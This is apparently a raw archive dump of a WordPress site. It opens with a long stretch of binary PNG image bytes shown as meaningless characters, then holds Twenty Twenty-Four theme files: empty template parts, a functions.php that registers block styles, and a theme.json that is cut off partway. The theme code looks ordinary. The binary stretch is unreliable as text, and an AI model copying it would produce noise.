;BNUm;۳oZ"ڌص!vЇZ(Km6rcf,1A DGsy1xgy_ZU9zhKO]y'Dݿ:m=}.Ѯgl6{s$bRЪ25]R"l eּO^ ,=PLl J# \;3]JrZ*y|,-`$(P4X a(S%P B,ތQqwil@YF9ցxaE#!{dM@Hl'mOFڬGV+WV#.,PJ#9h!|" \!"̋͡T(R(R;XJ0IC󨞁C*`՘goezw; ;72iT'Rw&9s2/w+[b!Vx2mP ]DT@ocrwf&\ *uh"pGڤ<)gY{LQ"T4aju~KG%оo8Eg!ʀů]8Kש-dv{+ r誦̺*,+laqABd](Uˤ`"< #7[¦ PQHTQ*('^8|-/WS}Ri?M՘U+"JZ2)d,/$g+Y3]r>+w>BN#MF8AQ B,D5Rvo8FaZ*t2?so=SYAuҠ|#!b1.*U!yܴD~vŊb]?/?BĢ!+f]zw#$ZR@Iu@u4h) nuS9݁(1Dvh&؜+aG6hNs(T;<'U#K]{okhZd`.m,vCBJڬFHzr92g?;ߡ,CtK#oITk't2kݍ1g U^FB)DMЛɄ+ZT%VS4zfA:7fS%SL'N.ٷgj?wzBSsY3:"ޞQ#!sD2tZ:,C@̌NɁ}ı'NG,--2Yu|{Mhfb"kN߃joڍ+W̴W9_hs1gא[srnSS{%O_+y6wʣOkS$[ٽ1C#ѕMݳ]ٵyu>Qw,݂cfRs PJg)a!A[m2wQlbʼM WjzkNVY͙ <jTGꖬ7A:T"> :6Ѿ%TJ4>Q#ܨN1 Xbxl`bw`D*vP-2V`Yak%eʩ0P'F)(ԞLL a- b9bF4ELFēD :Xa\<"K fT4vnȾɨ|`^8+TOǚti8+\E@FTU SHha뤢mEo}p段1jzl gԾrw5,0khرPmmRyBidۯ-(v#xFRIq80U#nᅋIΠ-}kcMMZUFMhǿb2Kezr a=/TK}D:—jԆS(b光0=KM'IMm[w^©_zmw-/A ͓Wi'b{MsT((х8}ɧW={?:2ScvjC[]C"$(s!P=_ɞQS؋O{qhw}#GAǶWm^}[[H59c , LjyDbCM'?_[Ko'8 ;(U ֮e` 1f R GdfdRGΜx'<Ο 'KXlْMbeom`slgiWZE(]~}?rHgZ=.g=H{5 &\vE'>JEL>[׼mcDtK҆.bZl6JL*>`:k,24hdBۛ=}Mn>@6.4+񄌄cZIbk#L4,% Q^P̹3W7Dom(yؒk }u.JdbAAl}ZW=ш}*BuFCϦqCFW)Б{a(m>'۶^`d{+suys8Q!ƹsfdv dl ĜĮE9;hIb$ͻ65W{mQ s׮mvyg_}={7UtL+K+_N ;n{%G?{ށ;txߩ6}-Wwҍ[|ՋrS,CEe'*% '!CSURTZN:ԉ!Zԑ-S M{. ?Tr#ՠʣjD}mM]OYo~t1SowD7a>N"1 "̸9Msi-F)=2- *Dk#ݯӛLT&ۉ}6NNچg?D '3dK7ivk"j[ycԖD-c*>2iV9o28׿{+=揿λZc4E"uh#rٯ2^ҧ2Q"64&7JsJūteW_K?=|w`ٌ??v薷<'\RבUWE) L׈x#2jX'q¹7C#Br%ֻV3,Tg-)*@M+%IuF7F+> #6g0f|LID"I`y/aБcJLQP i1X"]׷GA(IÄҮ_\ ; 3RC>)܃Q9>R{ԅٵo\x3&Y[Y:漳  5xfwe_VTRhTh4<3s|7A][RV .!zJ;|CV RX_Ԟ[Ld1{vF!UiB>y|I48%8UfLϜ}k/},,E2R RDzf™`&GeI*F.@/SMG?sreϞ_/[=<|>c(ӓψjȏ1eKCUBt3?xC"sfl hETƢ(9ЧZ!A+}&w=Mo$OAM* s~>Q\ڙ&@Ցy&mϵ'QS=WyƞPMusVGԧ᧤2%$ 1缈QdEŨ]} [v5Ԧk`"~طmbpRԀ D?DϮ{+-3s4v>3Dټ|Y5g.ɞU8iZDM#16I1ynw!Jf0 fQf EwXY-fJIG9>y>zQfN ܞWWGӭGڡ}۳(u_ޏ[n__ 1xM~\ti3%p%jqسΌu( 5Q `QnTRB,6$3tVLh2{D|ej_naL"R|)`TCOIR)/KKIe/P8>1|C8 JaNtWjbW BQ!b#M̑Abj~7H᫚XSu@43d f,WbT+X8*"V&s]R][UQj?A (#jt`dC%rޘ.S-,Z ~22PJ8Ʋ+ucbN- ?NPA~ U4S`(Tpp&ձ`NM9k9!5QԾXfSQ)`$;.@NGa, ɯ+NQ-֪զHkEVn2oX__P.",ʬtj .Wf_֋1*< a‘GI(6mH1j E5vi^?588nHf@&uAmHqޓs`:C)2INT6#6=8 ;‹s}߽yqd8J&hakޢ& _JQ-s,!9q/Qc J6.q/g7>3?_ޡ*UKdIIQT vHp>%dZH6J1tB]|;yqPŁdJ!#'=XFaI< N**(PJK/p~GrT 4LOM0(tVGb1F &N4ǟ{~_CGl!6{UHG )"J`*ZgVɶ%JR2t5J ʺ6Ʌ+V5%$τȼaK;.Y1ĨDgmEy ycLiG%*H^77|ɅGzBB2IR-0 L> @ nDĎLm3r0Cɏ!Jʍi/--G'iu*DfҢSH`!s*cP$ %i|#yqV5%~=7v^L#:"C):?8(U (Q1O }-E>NJClƎy/:Ƶq\VE+QM'fƗ\g_<;C/?xṓkk[׮#~`+[Ȟ-سJMֹz{1Hr$1d[blJDThs=$.9$"&ͥu ŧ…{c$޷. yKYek)i4%bJ4]/QOr҅{՛hD)c&$$κd5Cƒ4If}ia֨䲑umD: ~j7K>em~5"1۔ic33<'$nn]xL<4j9Z`R"S/]2]t^ߴ=>u+nWؑrpƕ+k];h ˋ[[C@kKBrk)iwC W,X1ܥmF,H<UaHd%rZaIPO?4#F@lu RT( 2qT;I%U,0;L>9O捯9 4G%nSJCl}/ZꡂA)'G=‹/Y&~+oO1Q19k $L'hD(fXi{Apc 3/>w{߭]R$cnŘn TbO* $GQ>1F7vtSo|+_c׼ΧwMr`I,I5y&hI!88ۇMrERbǾr !EU9 Q(1'`/klܘ 刘KP E޲^A qswIn };-(ZfC 꼗(j;: H(Q*kd`)Gԥ;of9؇('ׇ@%[9ƒz%{YifK֯_Qvi1NQ;a^ ;1klGڽ#irŕA1?]$" 8)W(ưrO|xtE Ċ _}TRkG̔:B0_4ǵH (=;BeDw[%|ƞcz[.G){<"Y&SM!12!ږ$H@LCqZu5!'˯oo_z+_;rLS <'>%mJDZH9͵bTb< E"PE8~hH, A}/!O~ҰcNh0$OC34e=$efIsoYS=3?x|w{hRd:%}4Ț ')%#(9Մ qM`Ooq;;@M6NjH4 *vOPYU4CzP1ǐNE54/<[b`%QmvrĂ51 qF{] pVy@f !c+7+ļgy蔤EE!J5H]lEBHv w95P9s]vI_6\QGˋcsDi:2sJ QS]$Gdxҥ~'x⅏}'/_W~w-{xw`릨z)Mۏ_D=wރ{xݻu5Vc2V=шRˣ!ҩj0ICZ<*F,210 RmK8u$Vu`gr@duXeX_jA&V ~rwkb=q#C8GSEU+fS屪lUŘ"D3ʑ 8H)1^ Ha 8cQjCfd*VXHQl9V΁BhMK;A,@@rg0(ĐIU!*7GU5~ %c!;,H-/)(01dvso2(^F`Ma/ A D*-֛f*BAFqWh!TS"eQ,UUMҝ,SYxJlS++X% jRENJvS`CU+*}CN-R jYR8MP]끭29G7@&WU @5iU O=昵i7rQ!b; *_!|9/h2ּ os|wQɩJ5 #;e5-#x?&'a!]v,ުllhe`;zWrڡS ?16 4r9.4 W&1J0[8'Ҥ1>^@޴Hbc aT\[׾sk|>}f"SW)7\ꯚ 0yH6j/ Lг#""S-ME1ˡ5ˢB/QIMQ f[[^\;Y!Ms`+;q-:$WAؓ;ԙڙ_xzuIr<M\%׮N]ƣ鳗¨c=f YUq4K՘zwC5ƸA1h((KE"5טּW,IUZXT=Gd ԮCVX"pV啵:4Qb;AZ'!HIJ G]IJ,>D 1u7Jdj˸tPgl@km *FAFRs̿Ixa1`^y!,xyEtժv4nPF֌_.UYVK7z ؍O,2?c.ULvl}2@AtdTNABJlwV4XB% =;7˲v+.zӸ7_]NsM$7JAMYNvQQ+brB@ߴ Z-YHbu&sړmhYݞZ YC]-еRESR72U^U:Ȑ ADLJvkcFs=)a~)[PI'45'7f+m<8/0ym^x5x4>{O>6~uaEnyi |49[?n]IdDOv2z,xf/ܶΑFUTu(B[WCBmo\ne79F=SN`B| 2;M\۴V#ʜ3X.TUrϕ|f2blW74K7엢6CXfA)S*Kj56/Ғ>ƒ#$A1p]vQs%&#5͜))BU$!bq`u=o_뮻~<#9LDsHD)P0'"'K@좚R% PAQ hѢ!!oxv -Qiv*%9HbɰfA h·b%(AǿE?z]bG"M%j3  ӊAU="J:y%hr3ftOMn[\j=ijV& ^2i#jq`J s/hhj cSJ+OK+k@b4K jLIdH!=1##A bO:ѦiEԛU/uE-LQc7 RĐI >B|q.T4T%gΛU oMiG˻q(2dsTg@DG=3].n}OO>ʷؼr޷WcYa7~:h\ObI+KKWWw[v]񮭠޻v>Uet+HYphɶ.`.LJM`ފ[49w.MH$;jX1h:j~@"BZm;dUUW(R`%j O048"k%*c3Zlxl"Y9#f d΃n/l#:DCZT"EZ B6We$k pt%cnBت*:GFl7 P1a"qJVPSzE5-#{h:F4+F'@B?|zB0=QNIv_;cVujCl]YYٛknƁᖬ db7(b?xcN-b,.N;g%kT֗M 5pCn`6*[܈xWi%VzSsJe;+PYqh0S5AkWfQ5j5}5v22ۋm]ݐܜ 0/їBi,kaaia4^XXm΂ʕ+/_651 γ=L΁_m/x9,-KK"\,7ǚ]ukˋ0Zlhiv;0jƬ4=˫ӠNB0 9vta{ݼ)ŋ1~k g_{`ykvP9ϴ|vш`͙s{d>w9( ~cc.}m9ߴf=} F&^/r43op2=t2BYpBN5!nк֍97H{84ϸW'-Fȷ h0jFε (gsu~&={Q RtЎ4 x TDxوGsUª=hCӴ#F-@hgRЍzQ-!3)! : 6<fB{l*Bj'vB}Oow v[g]Im9*KI-kF!5hTx$6]{vLg{"Giq@HEH!i[<}5# 56K)@"AYz8GH޳Kh"qӐ4٪,m~&>}fz?r}ѯ~1y:tg_$>zcN{:vșsx7>71i"sಒV3Zo2z\#ДL%Z1YPlfԀC6n(̯ R˭ZmYҒ!%* ʶڧ-؎{S@).R8NA#K  ۵KGl.,!}>b_Zd07i;ՆP5$5e eIV$Q7̨llcwql@;P6'2C0!Q2 `ؼ90! :Tw\˧,ť}^",HD]aox.5] 7`]& a2Er"U@c[VE@ӰɭZZk^)_Þ7VRT,g02-ه~Jq -?~A+V%,]Ay;D׻Rlњ_HY@YuA!~iX-B)} 7DWb'^ˮ] ]w}Ջ4B;ry|}'NXXZPIhky.oZ냻O>x<^rD̶C6nmX}=Lv4ݜrp2NGoy4nG Y6)n7gm?O_h)j TU63Ql@Ct%6@$aBíwE0׸/ӤؐLGޏ<>J,J.6gq5(qlxvʮ5?Lv~0UG ,r4P4E&buڔ1tyh2L-!:U0T6eޞ!@pI8H4Z sD"%d=y81#vT2gbȢ21o@5XJǝG(ae/ټH`]{FzZ ^<uJtEI&&9X TAcT  Br/o~вnҴWbǣކXP92=,@1,ƪI*z2bTAkO\=qjߞCG޳[{PpUⷁ4u b@bTS#Krc=;JG̩QK C1)& ĤPr$Il7@h.V∇tVHϧ׶':K0JVpB|Lڎ>w|ר@S;/!"hPG:8;&Eu7+̱O4X,\^\Xo_\?G~W^xwػ ĕեo?d ޷gʨ j;9vڗ*WˡqAASU4T rk, =Ip_.DEA@ZX+έv%ҩö}a$-?2կf2C⮈eUcNI T{coL]^fxsp7 }H{(CD(fAqC7UX6Mtsy\]^ TG1GUzb *رm]0DI)G\D7;"WWT%MZ#[V[=:rG} ҭS(62 |/:L#͈,j41Y̼.c333{eqm(f CcAf^eeV\{[gsk9qt<nF`8~ٷ^}mk8M[Qҋ/L$wQN?wnnmRl]_zxᗰxN_M@)i9 ~W?_Dn'ADHV,?#|疨|ՉrUiuiX b8G[kŌ`'-P_, ɳNCZh"qQ(@ыZ@l+A ǣ1#I"^:C*'Cn硇NEQ13Nb #/GZI2Ι25՘ lwdO@4,: $R)N8B( 2ε*0IdB)I<-$ )XJE$" P^L;CNJ3Ĥ-(BMED)B`Y.OATyD*1ԌQgaypN 9>ƔF5Ҕ)&6+ˀ"@ʋ帙J1d*]keUUaK$=|$yT^60Sk7Km?Oۥ/ g0ٟh7=Ș2b%+3;>]3 2dRGH"\}'9۾J PROX΀#qV"eYJ!X£B.v&'Ra')PFwqY0KK4cOZic\hUf2R. PCJqkm0h@6ˑJ30 7&hvqF@fF/R ePiu悧yk'Y0$\YC0VQKW%4Ev9qIRrl ,m ^ F~ ӛ++ 8t;\rLMu3&A+o(W}`SƳ\>z6Uθ4bY# r:q3[iq:юޭ %7.{Meī_٠; ݴ#@2Yė%$rAPB77sN2"4.[E湟Z2 ucPKpo`]nFH uY#MᲲjGeМKqvvfW쀈. əA9zvm͌{1-s'OJ5\мLEsT>u@NZ46!6XˉH{`R wN`r@EFN$uo#f2BA;il78?\>Խz4NERE#o#ޖo^VZ/\zW/]+ Z~:$$@_}>'^ڙ+6BHmP>pp?ĵua}x jqcw}W6o8?Nj8Uav8GN>vbڿow4 y.7WrϿf'SJv椖CM?cP#}eϒU!Q3Eԣ`b!C(v&nSoGolCкf9܆:2*VaE3Sf oH3VP S`S+]F-{|YnTLcw^d*"9Gj` ]Z:ĨmS+N[*>#ѥ9N\L@ S#q -6?jeۅ(D=CcZ4E;aA_,['9ð&4vR3UѾB*Cj>ԀF(茽\ޝOϮ]zCOz hx`4ډyGQ^xG6elet#e\Y;~TT`׾ħn>OhC! b4#b2'?p˶.9ӥn ( 9y/졧1|uӟ|xqHk+#OD{ɣ3b?/x2 z%+~|ťGOKKN;6FTd{݋o9?^2#02 V'/^17׏8[c+f" Սɔxfn_ F4Q(U8[^? ´!$ ۝Ȳa^( .)[IRh A0Xۆv˅U x.UZDz ƀ|5sCf:S4NGQ!i 0ZJ"p# tZ$䝙Fk*(]@fI(`1cZe-Qx,h3f%CފE,0+XA,/ D)hwӼ-2H!21rE;K @݄00f3(}JAهГR]pw`-;kyb?87_ch_oVZUD 2V2en4Vhͭ>)cg\BgD,q:rzOѨ0\R yLT5#[(eσ]B,(93d(}8a\aPqPe~sTNjc^d_EqI"CfJYHaaysi4A25yԉçeu?&odA76 m4S~3ӝ)LYiͭweǂ[rCMC>!P3L8*Ag`uVR.hk{'.&Us-t`{PW̰D3ZB)WY{ocؐ;B5brRv4SBN"D9२.eG.yso뇪qxCc)uW7t,u%pJBQi޾rjF->2.!oUz!S}VVp9[>r9%ʜsȶ!A]{tn k}ԧX4ϗ{?9@߻1Mf*x ,4idzY4aaؚ< 3~l؄j5&r9%uhٸ}֞,pO^^ܺ5v5ӊG333ovӌ )C!KY{[g)`wrn h)eIp͈XXOWCzF힧5F2 [/g{um}λdp5O>hԍ~܋};yn;ݺp8+]~k:0n]s* ʙG׶$mt㥛~'XF,MZ=k/_;E8ޓo^>sZO2sATХOS)Q~TgNg?2z=|anm-v+AkFZ}TVȬnYҗ.\tfPn&3=ԣE|s|嫟|X`d$?ڻ3˯] V6(8Ӻ,?m~?3Ӎr)x䷿.mnl $l P$usfƢvoCcp:8{vlW( vv [d:FAT20ӝ0I`u hi` +Qd@+d&@Y(PLh's0cA[v鵸JuN@SҤLWy$([[y9:D>-b4.@NT!(8Vh [A1$O@T3@$X&:/41C᭘Ay;^(8Ä/x`'yUƞ+2(g * d#DqNBKReP6%e_=(ʃWӚh2LbUϙ Fmt΀ E $l֕803.X:W sA[?7|*k+|}) 8Z!I |]jLzGNeՌ#m̮;>G}@n2xԔ1 +JAnuMdL1Vwhf LaL1V @JÑ1 BcX$PnS "h*tAeW//n߸_\ӆ ; tJ3ƭ\0[Z'QQiFʎ!2Nb;ao?zPvX΁GgaWtYxnBH+kCMYW^tMo?:FeWLs%pu*t0۰PU6J8ﱒC^^4 xظ95Co\^G@ˮ66*ڔ~T,M5u?|5ʕ-fW$[<\Ih/tkH[n߁b-9'_cC_Pd]D!a2T'd,5n jv!16?;~#bMwĻ}&9X{@Ž)4<0Lx2KwPӃLXRn_av;xҿcHΛO3О@ϓ7ͬ|ܙ@cO~eOSl0ƛ3!gƨ,4Td,~2>glŀnrzd:Kк|cڭWZ W|`ua8◧֚~14t3K6Q WGK󎒝Nwu#|/à,xd}U˧ߔޱW] Q|}+οó/\=Hd@'}[W6μq)Tx{?={k?x+}htj4|rO3Ѹ?7iFP˓"fiXGt?|ɦV9lZNe^> _\Qͤ(OP¤bR;\{2H7+]P hgJlVMRBړtV o 94KMn!&uL5LK4 Y7 cN b M\2b2Y(aSAR0trX[kI>N,e&[õͭP,bMR(0qX 2w 6F&@Ȉ\ y %9!LeW(PvJ#Hf 6AA!(HH&  Nl."-xv?F9( 9H`ZqPD($)P\r@d 'cyw-(`paIq*BDA q 1"ȧ((-A3dCΘqE Y>Է#J?emoyOΙ,;پ3daCd;CBnc\hfakCr 0"2)o:riC\S|񉓊D{淟ZDnܸ2J.F:nkńLݷ@̭u#d2uj8>u=aȍbAuomz̓1М*0.*pik v ;{9QyOr5faԚ5v0]-#t, hN[{S-x+@x*1oB|˽>FRm@p=!V.74yA\6L 9[Ap(?qh c #w9Ʒp_0Ҿ-1C';c|GJ+[{}ֈhYWg,Xl|@GX XV fCv  yz2ؽ5g5ޔ?|+z[4__Ӧ@vs9jg0vNqMK>yGj@$J4TsuЮf{Lhy` $5OxRjO4,<:'{ X W~Kquf˴z1+]ۣ>}l.!ZBQF2q͊#>%~jyO|KK^~tcwޥ?h?zhqK֖VX\hGos }Fti$7Gg7߿GxއsF׊W=ɍf?M}L.ccY.o|eB ^ dn~z{6<鳛-j/) &Y\;w5,XHZ|C|"V"Wg|C NGLnm8ks1f5{cs0lui1FI+lϾ/23kkoC\ nEI/ [B "tp]>KGW>21ZW teM)6lvZ@t:a DZ)͋a6SLNp$GL$&+&)J%=xK/'}݄Q ݭq*ٞlO_8qbKOރĽvB M htzʂ~/YSOdy$L6, jqI Cbā$Wa 8b*02NTk $'5 &ؤoղ, "I,3* 4xYm5¤y6% iU1IӽNk&dA M8i4 h#0$4E0M\QŘ霱vB{4DIa-J-GʼnDRq<'IAZq8 Ph" q0 d e `\ ( [XuđQ]t6ư* $e]KŽWbDfYQQզHcn. T2;;j)K?,e:2U+E *T4 it(*+`= 1yC bc`cT~i2Lm_]٠?8wIQDB.,.rJmS4i uY! z˾z&BrU'hA}ܩN{ 8f !皐A"Ouu1?M<6hy{"8A@{rM\s^XB%;veyM0`0Vu8d˃v;F0B@Sn!i/|_ `89L==jQ_ rGiBhd쮸!S@﬒$<ۛ#WkFFi\jբDfa0sVv|mJXvgDf'F~)ge[b߁G)QIpś[rj>f a}ӪX4gl4ũ Mݧ{3}{k_h}oӛvl}|?µ l@ڻHW\O vTސC*$Ϯ;Ÿl_ӭM[Ճqz `7_Ѕ WgV|_n%Ͻ޷wq~wᵗ_O?pzvl#zҥ˗//ۻkǏqŋN{;QlE&RowxC4^[_ryrA Mo_{/vir{IlU }kete|?pd}4[[\{Fk''ή\1ܞ-ZA|mmm83g4z{GK^8w{ g|v`T'gS2nw}i8_{xVnChOKC &`ĦQ,$~|;a+k٥uDDm9Xy5(]zʏv ;xb7žoiϵL!%fyWnIjx}{tRF}}]'ݻEđ( hxN/:[/\غ2mq\ Zdrl>|qf`Tt*lj!JEE< S S2d(42DI;"2LOE1ۨIFA\al3)0Ӎ6b8JP>Ak%$gJ3t9Os EB3#SZ.(4# s"`(Є278rFVgG$1'eimYAmm.`W0K92*dk*CNdu=+\~526|9a/-V1`4]HIJjm@S{:ibM "NxBB# >pWZuhr/Ϣj!e*Jjt">$UWt|6<"e4&sVw,3`4$iۚų/ja <8ɡTޓ͙z fLy _Gۤ*PCvY|iyV珂T;%7=h0)䆁F3X߹x[$OdM{.㏢:jb:&?A] t:%0*oȴ9xwH3 ezN0c-T w󾸿o᷿'EW~3C.:G8vıG,ZϞYیG}3|Ѓǎ;z7g>ubQjkLd;ˊgDIp,v@):;(4/o:?fgzE.<7ܞ6}ݭ^b.4}Z.mi˂g>5;m]<|jZ($׷.ۏ'x05nbp~fqq t4?0L5Bߚ|?oGI*g_ā25;[ɭ +㭭fȃTO$N]sT{p'ޚLR(7^.Ho/m'[d0|^[ ȴ(eL~'?k[0K{"\kl3j ; ,HB|(KuRNڝ(&@e 6w|fqNk/(Zx7N8H,͊t}hƨQ~aiZ%\m1G5Nl4 VYaq"33L:yX`Y3`Q5LK?/PKW" ]!KsSFh H8qT-#c(d+$@1h`ǭDIWndĠ@(R5;ǁ07f"po'a1"v*@r"a;1͹P b40@LQm)dQ8 ˠr @;̊”5m#.`,JJu4F@z uu;h:e[DFQw= %򖔆Cw}]] ѕnҺRr/4KY!XKZ3U6}Yc*o ogTu`7V4d} [TpuDud*Sc೻jZ\J5 aiE]ԀFӨD0W:ЬDʓ(SU|;T٭ϏCP,hSKhkJh1W|MI ~D@Eq඲0 HKEÓP7XӘ2oO&JW/ ogdVmw¯ʍiA 6yB)pWFv,mu #r䛷|1Tb5c>:htnKǤ3@qT}]:10'73<ʫq 4!Rx˜ NMۚFqaVޖx ziw F;C~:hY K#lbQB\I%h5Fbub Yڕ*NMzΟo{/ŗ{ِ>qų~?:x`w:ξ#x\܋/B۷Sw?{W_|`|ȁwޛW{8E!5 iEn*,8ޟY{|{2(^Ʌ;e/&x0S{RoB޻o+ ,-@LuXV&{&?@՞n($7k?sv}b2=8iō۹boE ?[}C;_9Nzm.pǺ{Йme7=TzK'Jsq']L-Xo S&bYwׯU\Hu޼9d#<7T{~[{[&,΃/ukW2ZPgvƭhꉤĴeKח.(>>gN,&4L'i1qn"l+F(?v#5?ӏ{@!nu)l+x7o_yL$A2n܊7LOtof12^Dvr d`zd4fGy+:|}} cRȳ~w;k|~. X9=wkX:q33gk#3R oXC3iL>}3Otwm{g/q!n7C(CxSfѥ}s6W >"_^]}PN*] nLT܄(2St8 $luNę&8?%wɅ?y4Y( &`y11Sp3ژ@}R_n۹0dJ1:6{o^goJ{HP6赣=]z wیOLltsyfn@a:NxcbKƭoء(pfrgͷtckձrjOrg ylԄdy;w?p~ 5%wgwWQ>ϡ&i]M=Y\zI{kA5q6L5݌oӘ.aIENDB`themes/twentytwentyfour/parts/post-meta.html000064400000000102152335264760015470 0ustar00 themes/twentytwentyfour/parts/header.html000064400000002407152335264760015021 0ustar00

    themes/twentytwentyfour/parts/footer.html000064400000000070152335264760015061 0ustar00 themes/twentytwentyfour/parts/sidebar.html000064400000000100152335264760015166 0ustar00 themes/twentytwentyfour/functions.php000064400000012472152335264760014276 0ustar00 'arrow-icon-details', 'label' => __( 'Arrow icon', 'twentytwentyfour' ), /* * Styles for the custom Arrow icon style of the Details block */ 'inline_style' => ' .is-style-arrow-icon-details { padding-top: var(--wp--preset--spacing--10); padding-bottom: var(--wp--preset--spacing--10); } .is-style-arrow-icon-details summary { list-style-type: "\2193\00a0\00a0\00a0"; } .is-style-arrow-icon-details[open]>summary { list-style-type: "\2192\00a0\00a0\00a0"; }', ) ); register_block_style( 'core/post-terms', array( 'name' => 'pill', 'label' => __( 'Pill', 'twentytwentyfour' ), /* * Styles variation for post terms * https://github.com/WordPress/gutenberg/issues/24956 */ 'inline_style' => ' .is-style-pill a, .is-style-pill span:not([class], [data-rich-text-placeholder]) { display: inline-block; background-color: var(--wp--preset--color--base-2); padding: 0.375rem 0.875rem; border-radius: var(--wp--preset--spacing--20); } .is-style-pill a:hover { background-color: var(--wp--preset--color--contrast-3); }', ) ); register_block_style( 'core/list', array( 'name' => 'checkmark-list', 'label' => __( 'Checkmark', 'twentytwentyfour' ), /* * Styles for the custom checkmark list block style * https://github.com/WordPress/gutenberg/issues/51480 */ 'inline_style' => ' ul.is-style-checkmark-list { list-style-type: "\2713"; } ul.is-style-checkmark-list li { padding-inline-start: 1ch; }', ) ); register_block_style( 'core/navigation-link', array( 'name' => 'arrow-link', 'label' => __( 'With arrow', 'twentytwentyfour' ), /* * Styles for the custom arrow nav link block style */ 'inline_style' => ' .is-style-arrow-link .wp-block-navigation-item__label:after { content: "\2197"; padding-inline-start: 0.25rem; vertical-align: middle; text-decoration: none; display: inline-block; }', ) ); register_block_style( 'core/heading', array( 'name' => 'asterisk', 'label' => __( 'With asterisk', 'twentytwentyfour' ), 'inline_style' => " .is-style-asterisk:before { content: ''; width: 1.5rem; height: 3rem; background: var(--wp--preset--color--contrast-2, currentColor); clip-path: path('M11.93.684v8.039l5.633-5.633 1.216 1.23-5.66 5.66h8.04v1.737H13.2l5.701 5.701-1.23 1.23-5.742-5.742V21h-1.737v-8.094l-5.77 5.77-1.23-1.217 5.743-5.742H.842V9.98h8.162l-5.701-5.7 1.23-1.231 5.66 5.66V.684h1.737Z'); display: block; } /* Hide the asterisk if the heading has no content, to avoid using empty headings to display the asterisk only, which is an A11Y issue */ .is-style-asterisk:empty:before { content: none; } .is-style-asterisk:-moz-only-whitespace:before { content: none; } .is-style-asterisk.has-text-align-center:before { margin: 0 auto; } .is-style-asterisk.has-text-align-right:before { margin-left: auto; } .rtl .is-style-asterisk.has-text-align-left:before { margin-right: auto; }", ) ); } endif; add_action( 'init', 'twentytwentyfour_block_styles' ); if ( ! function_exists( 'twentytwentyfour_block_stylesheets' ) ) : /** * Enqueues custom block stylesheets. * * @since Twenty Twenty-Four 1.0 * @return void */ function twentytwentyfour_block_stylesheets() { /** * The wp_enqueue_block_style() function allows us to enqueue a stylesheet * for a specific block. These will only get loaded when the block is rendered * (both in the editor and on the front end), improving performance * and reducing the amount of data requested by visitors. * * See https://make.wordpress.org/core/2021/12/15/using-multiple-stylesheets-per-block/ for more info. */ wp_enqueue_block_style( 'core/button', array( 'handle' => 'twentytwentyfour-button-style-outline', 'src' => get_parent_theme_file_uri( 'assets/css/button-outline.css' ), 'ver' => wp_get_theme( get_template() )->get( 'Version' ), 'path' => get_parent_theme_file_path( 'assets/css/button-outline.css' ), ) ); } endif; add_action( 'init', 'twentytwentyfour_block_stylesheets' ); if ( ! function_exists( 'twentytwentyfour_pattern_categories' ) ) : /** * Registers pattern categories. * * @since Twenty Twenty-Four 1.0 * @return void */ function twentytwentyfour_pattern_categories() { register_block_pattern_category( 'twentytwentyfour_page', array( 'label' => _x( 'Pages', 'Block pattern category', 'twentytwentyfour' ), 'description' => __( 'A collection of full page layouts.', 'twentytwentyfour' ), ) ); } endif; add_action( 'init', 'twentytwentyfour_pattern_categories' ); themes/twentytwentyfour/theme.json000064400000053401152335264760013547 0ustar00{ "$schema": "https://schemas.wp.org/wp/6.5/theme.json", "version": 2, "patterns": [ "three-columns-of-services", "clients-section" ], "settings": { "appearanceTools": true, "color": { "defaultDuotone": false, "defaultPalette": false, "defaultGradients": false, "duotone": [ { "colors": ["#111111", "#ffffff"], "slug": "duotone-1", "name": "Black and white" }, { "colors": ["#111111", "#C2A990"], "slug": "duotone-2", "name": "Black and sandstone" }, { "colors": ["#111111", "#D8613C"], "slug": "duotone-3", "name": "Black and rust" }, { "colors": ["#111111", "#B1C5A4"], "slug": "duotone-4", "name": "Black and sage" }, { "colors": ["#111111", "#B5BDBC"], "slug": "duotone-5", "name": "Black and pastel blue" } ], "gradients": [ { "slug": "gradient-1", "gradient": "linear-gradient(to bottom, #cfcabe 0%, #F9F9F9 100%)", "name": "Vertical soft beige to white" }, { "slug": "gradient-2", "gradient": "linear-gradient(to bottom, #C2A990 0%, #F9F9F9 100%)", "name": "Vertical soft sandstone to white" }, { "slug": "gradient-3", "gradient": "linear-gradient(to bottom, #D8613C 0%, #F9F9F9 100%)", "name": "Vertical soft rust to white" }, { "slug": "gradient-4", "gradient": "linear-gradient(to bottom, #B1C5A4 0%, #F9F9F9 100%)", "name": "Vertical soft sage to white" }, { "slug": "gradient-5", "gradient": "linear-gradient(to bottom, #B5BDBC 0%, #F9F9F9 100%)", "name": "Vertical soft mint to white" }, { "slug": "gradient-6", "gradient": "linear-gradient(to bottom, #A4A4A4 0%, #F9F9F9 100%)", "name": "Vertical soft pewter to white" }, { "slug": "gradient-7", "gradient": "linear-gradient(to bottom, #cfcabe 50%, #F9F9F9 50%)", "name": "Vertical hard beige to white" }, { "slug": "gradient-8", "gradient": "linear-gradient(to bottom, #C2A990 50%, #F9F9F9 50%)", "name": "Vertical hard sandstone to white" }, { "slug": "gradient-9", "gradient": "linear-gradient(to bottom, #D8613C 50%, #F9F9F9 50%)", "name": "Vertical hard rust to white" }, { "slug": "gradient-10", "gradient": "linear-gradient(to bottom, #B1C5A4 50%, #F9F9F9 50%)", "name": "Vertical hard sage to white" }, { "slug": "gradient-11", "gradient": "linear-gradient(to bottom, #B5BDBC 50%, #F9F9F9 50%)", "name": "Vertical hard mint to white" }, { "slug": "gradient-12", "gradient": "linear-gradient(to bottom, #A4A4A4 50%, #F9F9F9 50%)", "name": "Vertical hard pewter to white" } ], "palette": [ { "color": "#f9f9f9", "name": "Base", "slug": "base" }, { "color": "#ffffff", "name": "Base / Two", "slug": "base-2" }, { "color": "#111111", "name": "Contrast", "slug": "contrast" }, { "color": "#636363", "name": "Contrast / Two", "slug": "contrast-2" }, { "color": "#A4A4A4", "name": "Contrast / Three", "slug": "contrast-3" }, { "color": "#cfcabe", "name": "Accent", "slug": "accent" }, { "color": "#c2a990", "name": "Accent / Two", "slug": "accent-2" }, { "color": "#d8613c", "name": "Accent / Three", "slug": "accent-3" }, { "color": "#b1c5a4", "name": "Accent / Four", "slug": "accent-4" }, { "color": "#b5bdbc", "name": "Accent / Five", "slug": "accent-5" } ] }, "layout": { "contentSize": "620px", "wideSize": "1280px" }, "spacing": { "spacingScale": { "steps": 0 }, "spacingSizes": [ { "name": "1", "size": "1rem", "slug": "10" }, { "name": "2", "size": "min(1.5rem, 2vw)", "slug": "20" }, { "name": "3", "size": "min(2.5rem, 3vw)", "slug": "30" }, { "name": "4", "size": "min(4rem, 5vw)", "slug": "40" }, { "name": "5", "size": "min(6.5rem, 8vw)", "slug": "50" }, { "name": 